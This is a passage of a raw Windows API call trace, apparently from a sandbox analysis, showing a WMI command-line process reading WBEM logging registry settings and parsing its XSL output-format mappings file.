lstrlenW (lpString="XDUWTFONO") returned 9 [0115.433] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.433] malloc (_Size=0x14) returned 0x202d98 [0115.433] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.433] malloc (_Size=0x4) returned 0x202db8 [0115.433] malloc (_Size=0xc) returned 0x202dc8 [0115.433] malloc (_Size=0x18) returned 0x202de0 [0115.433] malloc (_Size=0xc) returned 0x202e00 [0115.433] SysStringLen (param_1="IDENTIFY") returned 0x8 [0115.433] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0115.433] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0115.433] SysStringLen (param_1="IDENTIFY") returned 0x8 [0115.433] malloc (_Size=0x18) returned 0x202e18 [0115.433] malloc (_Size=0xc) returned 0x202e38 [0115.433] SysStringLen (param_1="IMPERSONATE") returned 0xb [0115.433] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0115.433] SysStringLen (param_1="IMPERSONATE") returned 0xb [0115.433] SysStringLen (param_1="IDENTIFY") returned 0x8 [0115.433] SysStringLen (param_1="IDENTIFY") returned 0x8 [0115.433] SysStringLen (param_1="IMPERSONATE") returned 0xb [0115.433] malloc (_Size=0x18) returned 0x202e50 [0115.433] malloc (_Size=0xc) returned 0x202e70 [0115.434] SysStringLen (param_1="DELEGATE") returned 0x8 [0115.434] SysStringLen (param_1="IDENTIFY") returned 0x8 [0115.434] SysStringLen (param_1="DELEGATE") returned 0x8 [0115.434] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0115.434] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0115.434] SysStringLen (param_1="DELEGATE") returned 0x8 [0115.434] malloc (_Size=0x18) returned 0x202e88 [0115.434] malloc (_Size=0xc) returned 0x202ea8 [0115.434] malloc (_Size=0x18) returned 0x202ec0 [0115.434] malloc (_Size=0xc) returned 0x202ee0 [0115.434] SysStringLen (param_1="NONE") returned 0x4 [0115.434] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.434] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.434] SysStringLen (param_1="NONE") returned 0x4 [0115.434] malloc (_Size=0x18) returned 0x202ef8 [0115.434] malloc (_Size=0xc) returned 0x202f18 [0115.435] SysStringLen (param_1="CONNECT") returned 0x7 [0115.435] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.435] malloc (_Size=0x18) returned 0x202f30 [0115.435] malloc (_Size=0xc) returned 0x202f50 [0115.435] SysStringLen (param_1="CALL") returned 0x4 [0115.435] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.435] SysStringLen (param_1="CALL") returned 0x4 [0115.435] SysStringLen (param_1="CONNECT") returned 0x7 [0115.435] malloc (_Size=0x18) returned 0x20e900 [0115.435] malloc (_Size=0xc) returned 0x203368 [0115.435] SysStringLen (param_1="PKT") returned 0x3 [0115.435] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.436] SysStringLen (param_1="PKT") returned 0x3 [0115.436] SysStringLen (param_1="NONE") returned 0x4 [0115.436] SysStringLen (param_1="NONE") returned 0x4 [0115.436] SysStringLen (param_1="PKT") returned 0x3 [0115.436] malloc (_Size=0x18) returned 0x20e920 [0115.436] malloc (_Size=0xc) returned 0x203380 [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] SysStringLen (param_1="NONE") returned 0x4 [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] SysStringLen (param_1="PKT") returned 0x3 [0115.436] SysStringLen (param_1="PKT") returned 0x3 [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] malloc (_Size=0x18) returned 0x20e940 [0115.436] malloc (_Size=0xc) returned 0x203398 [0115.436] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0115.436] SysStringLen (param_1="DEFAULT") returned 0x7 [0115.436] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0115.436] SysStringLen (param_1="PKT") returned 0x3 [0115.436] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0115.436] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0115.436] malloc (_Size=0x18) returned 0x20e960 [0115.436] malloc (_Size=0x40) returned 0x2033b0 [0115.436] malloc (_Size=0x20a) returned 0x20f0e8 [0115.436] GetSystemDirectoryW (in: lpBuffer=0x20f0e8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.436] free (_Block=0x20f0e8) [0115.436] malloc (_Size=0xc) returned 0x2033f8 [0115.436] malloc (_Size=0xc) returned 0x203410 [0115.437] malloc (_Size=0xc) returned 0x203428 [0115.437] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0115.437] SysStringLen (param_1="\\wbem\\") returned 0x6 [0115.437] free (_Block=0x2033f8) [0115.437] free (_Block=0x203410) [0115.437] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0115.437] free (_Block=0x203428) [0115.437] malloc (_Size=0xc) returned 0x2033f8 [0115.437] malloc (_Size=0xc) returned 0x203410 [0115.437] malloc (_Size=0xc) returned 0x203428 [0115.437] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0115.437] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0115.437] free (_Block=0x2033f8) [0115.437] free (_Block=0x203410) [0115.437] GetCurrentThreadId () returned 0x908 [0115.437] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x19f1f8 | out: phkResult=0x19f1f8*=0x10c) returned 0x0 [0115.438] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x19f204, lpcbData=0x19f200*=0x400 | out: lpType=0x0, lpData=0x19f204*=0x30, lpcbData=0x19f200*=0x4) returned 0x0 [0115.438] _wcsicmp (_String1="0", _String2="1") returned -1 [0115.438] _wcsicmp (_String1="0", _String2="2") returned -2 [0115.438] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x19f200*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x19f200*=0x42) returned 0x0 [0115.438] malloc (_Size=0x86) returned 0x203440 [0115.438] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x203440, lpcbData=0x19f200*=0x42 | out: lpType=0x0, lpData=0x203440*=0x25, lpcbData=0x19f200*=0x42) returned 0x0 [0115.438] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0115.438] malloc (_Size=0x42) returned 0x20f0e8 [0115.438] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0115.438] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x19f204, lpcbData=0x19f200*=0x400 | out: lpType=0x0, lpData=0x19f204*=0x36, lpcbData=0x19f200*=0xc) returned 0x0 [0115.438] _wtol (_String="65536") returned 65536 [0115.438] free (_Block=0x203440) [0115.438] RegCloseKey (hKey=0x0) returned 0x6 [0115.438] CoCreateInstance (in: rclsid=0xb96d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xb96d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x19f694 | out: ppv=0x19f694*=0xb54630) returned 0x0 [0115.455] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0xb54630, xmlSource=0x19f618*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x19f67c | out: isSuccessful=0x19f67c*=0xffff) returned 0x0 [0115.840] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0xb54630, DOMElement=0x19f690 | out: DOMElement=0x19f690*=0xb58c58) returned 0x0 [0115.840] malloc (_Size=0xc) returned 0x2034c8 [0115.840] IXMLDOMElement:getElementsByTagName (in: This=0xb58c58, tagName="XSLFORMAT", resultList=0x19f68c | out: resultList=0x19f68c*=0xb58e80) returned 0x0 [0115.841] free (_Block=0x2034c8) [0115.841] IXMLDOMNodeList:get_length (in: This=0xb58e80, listLength=0x19f674 | out: listLength=0x19f674*=21) returned 0x0 [0115.841] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=0, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.841] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.841] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.841] malloc (_Size=0xc) returned 0x2034c8 [0115.841] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.841] free (_Block=0x2034c8) [0115.842] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0115.842] malloc (_Size=0xc) returned 0x2034c8 [0115.842] malloc (_Size=0xc) returned 0x2034e0 [0115.842] malloc (_Size=0x18) returned 0x20e980 [0115.842] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.842] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.842] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.842] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=1, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.842] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="textvaluelist.xsl") returned 0x0 [0115.842] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.842] malloc (_Size=0xc) returned 0x2033f8 [0115.842] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.842] free (_Block=0x2033f8) [0115.842] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0115.842] malloc (_Size=0xc) returned 0x2033f8 [0115.842] malloc (_Size=0xc) returned 0x203410 [0115.842] SysStringLen (param_1="VALUE") returned 0x5 [0115.842] SysStringLen (param_1="TABLE") returned 0x5 [0115.842] SysStringLen (param_1="TABLE") returned 0x5 [0115.843] SysStringLen (param_1="VALUE") returned 0x5 [0115.843] malloc (_Size=0x18) returned 0x20e9a0 [0115.843] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.843] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.843] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.843] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=2, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.843] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="textvaluelist.xsl") returned 0x0 [0115.843] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.843] malloc (_Size=0xc) returned 0x20fca8 [0115.843] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.843] free (_Block=0x20fca8) [0115.843] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="LIST", varVal2=0x0)) returned 0x0 [0115.843] malloc (_Size=0xc) returned 0x9c2060 [0115.843] malloc (_Size=0xc) returned 0x9c2078 [0115.843] SysStringLen (param_1="LIST") returned 0x4 [0115.843] SysStringLen (param_1="TABLE") returned 0x5 [0115.843] malloc (_Size=0x18) returned 0x20e9c0 [0115.843] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.843] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.844] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.844] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=3, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.844] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="rawxml.xsl") returned 0x0 [0115.844] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.844] malloc (_Size=0xc) returned 0x9c2090 [0115.844] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.844] free (_Block=0x9c2090) [0115.844] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0115.844] malloc (_Size=0xc) returned 0x9c2090 [0115.844] malloc (_Size=0xc) returned 0x9c20a8 [0115.844] SysStringLen (param_1="RAWXML") returned 0x6 [0115.844] SysStringLen (param_1="TABLE") returned 0x5 [0115.844] SysStringLen (param_1="RAWXML") returned 0x6 [0115.844] SysStringLen (param_1="LIST") returned 0x4 [0115.844] SysStringLen (param_1="LIST") returned 0x4 [0115.844] SysStringLen (param_1="RAWXML") returned 0x6 [0115.844] malloc (_Size=0x18) returned 0x20e9e0 [0115.844] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.844] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.844] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.844] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=4, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.844] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="htable.xsl") returned 0x0 [0115.844] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.845] malloc (_Size=0xc) returned 0x9c20c0 [0115.845] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.845] free (_Block=0x9c20c0) [0115.845] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0115.845] malloc (_Size=0xc) returned 0x9c20c0 [0115.845] malloc (_Size=0xc) returned 0x9c20d8 [0115.845] SysStringLen (param_1="HTABLE") returned 0x6 [0115.845] SysStringLen (param_1="TABLE") returned 0x5 [0115.845] SysStringLen (param_1="HTABLE") returned 0x6 [0115.845] SysStringLen (param_1="LIST") returned 0x4 [0115.845] malloc (_Size=0x18) returned 0x20ea00 [0115.845] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.845] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.845] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.845] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=5, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.845] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="hform.xsl") returned 0x0 [0115.845] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.845] malloc (_Size=0xc) returned 0x9c20f0 [0115.845] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.845] free (_Block=0x9c20f0) [0115.846] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0115.846] malloc (_Size=0xc) returned 0x9c20f0 [0115.846] malloc (_Size=0xc) returned 0x9c2108 [0115.846] SysStringLen (param_1="HFORM") returned 0x5 [0115.846] SysStringLen (param_1="TABLE") returned 0x5 [0115.846] SysStringLen (param_1="HFORM") returned 0x5 [0115.846] SysStringLen (param_1="LIST") returned 0x4 [0115.846] SysStringLen (param_1="HFORM") returned 0x5 [0115.846] SysStringLen (param_1="HTABLE") returned 0x6 [0115.846] malloc (_Size=0x18) returned 0x20ea20 [0115.846] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.846] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.846] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.846] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=6, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.846] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="xml.xsl") returned 0x0 [0115.846] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.846] malloc (_Size=0xc) returned 0x9c2120 [0115.846] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.846] free (_Block=0x9c2120) [0115.846] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="XML", varVal2=0x0)) returned 0x0 [0115.846] malloc (_Size=0xc) returned 0x9c2120 [0115.846] malloc (_Size=0xc) returned 0x9c2138 [0115.847] SysStringLen (param_1="XML") returned 0x3 [0115.847] SysStringLen (param_1="TABLE") returned 0x5 [0115.847] SysStringLen (param_1="XML") returned 0x3 [0115.847] SysStringLen (param_1="VALUE") returned 0x5 [0115.847] SysStringLen (param_1="VALUE") returned 0x5 [0115.847] SysStringLen (param_1="XML") returned 0x3 [0115.847] malloc (_Size=0x18) returned 0x20ea40 [0115.847] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.847] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.847] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.847] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=7, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.847] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="mof.xsl") returned 0x0 [0115.847] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.847] malloc (_Size=0xc) returned 0x9c2150 [0115.847] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.847] free (_Block=0x9c2150) [0115.847] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="MOF", varVal2=0x0)) returned 0x0 [0115.847] malloc (_Size=0xc) returned 0x9c2150 [0115.847] malloc (_Size=0xc) returned 0x9c2168 [0115.847] SysStringLen (param_1="MOF") returned 0x3 [0115.847] SysStringLen (param_1="TABLE") returned 0x5 [0115.848] SysStringLen (param_1="MOF") returned 0x3 [0115.848] SysStringLen (param_1="LIST") returned 0x4 [0115.848] SysStringLen (param_1="MOF") returned 0x3 [0115.848] SysStringLen (param_1="RAWXML") returned 0x6 [0115.848] SysStringLen (param_1="LIST") returned 0x4 [0115.848] SysStringLen (param_1="MOF") returned 0x3 [0115.848] malloc (_Size=0x18) returned 0x20ea60 [0115.848] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.848] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.848] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.848] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=8, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.848] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="csv.xsl") returned 0x0 [0115.848] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.848] malloc (_Size=0xc) returned 0x9c2180 [0115.848] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.848] free (_Block=0x9c2180) [0115.848] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="CSV", varVal2=0x0)) returned 0x0 [0115.848] malloc (_Size=0xc) returned 0x9c2180 [0115.848] malloc (_Size=0xc) returned 0x9c2198 [0115.848] SysStringLen (param_1="CSV") returned 0x3 [0115.848] SysStringLen (param_1="TABLE") returned 0x5 [0115.848] SysStringLen (param_1="CSV") returned 0x3 [0115.848] SysStringLen (param_1="LIST") returned 0x4 [0115.849] SysStringLen (param_1="CSV") returned 0x3 [0115.849] SysStringLen (param_1="HTABLE") returned 0x6 [0115.849] SysStringLen (param_1="CSV") returned 0x3 [0115.849] SysStringLen (param_1="HFORM") returned 0x5 [0115.849] malloc (_Size=0x18) returned 0x20ea80 [0115.849] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.849] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.849] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.849] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=9, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.849] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.849] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.849] malloc (_Size=0xc) returned 0x9c21b0 [0115.849] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.849] free (_Block=0x9c21b0) [0115.849] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0115.849] malloc (_Size=0xc) returned 0x9c21b0 [0115.849] malloc (_Size=0xc) returned 0x9c21c8 [0115.849] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.849] SysStringLen (param_1="TABLE") returned 0x5 [0115.849] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.849] SysStringLen (param_1="VALUE") returned 0x5 [0115.849] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.849] SysStringLen (param_1="XML") returned 0x3 [0115.850] SysStringLen (param_1="XML") returned 0x3 [0115.850] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.850] malloc (_Size=0x18) returned 0x20eaa0 [0115.850] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.850] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.850] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.850] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=10, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.850] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.850] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.850] malloc (_Size=0xc) returned 0x9c21e0 [0115.850] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.850] free (_Block=0x9c21e0) [0115.850] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0115.850] malloc (_Size=0xc) returned 0x9c21e0 [0115.850] malloc (_Size=0xc) returned 0x9c21f8 [0115.850] SysStringLen (param_1="texttablewsys") returned 0xd [0115.850] SysStringLen (param_1="TABLE") returned 0x5 [0115.850] SysStringLen (param_1="texttablewsys") returned 0xd [0115.851] SysStringLen (param_1="XML") returned 0x3 [0115.851] SysStringLen (param_1="texttablewsys") returned 0xd [0115.851] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.851] SysStringLen (param_1="XML") returned 0x3 [0115.851] SysStringLen (param_1="texttablewsys") returned 0xd [0115.851] malloc (_Size=0x18) returned 0x20eac0 [0115.851] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.851] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.851] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.851] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=11, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.851] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.851] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.851] malloc (_Size=0xc) returned 0x9c2210 [0115.851] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.851] free (_Block=0x9c2210) [0115.851] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0115.851] malloc (_Size=0xc) returned 0x9c2210 [0115.851] malloc (_Size=0xc) returned 0x9c2228 [0115.851] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.851] SysStringLen (param_1="TABLE") returned 0x5 [0115.851] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.851] SysStringLen (param_1="XML") returned 0x3 [0115.851] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.851] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.852] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.852] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.852] malloc (_Size=0x18) returned 0x20eae0 [0115.852] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.852] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.852] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.852] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=12, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.852] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.852] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.852] malloc (_Size=0xc) returned 0x9c2240 [0115.852] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 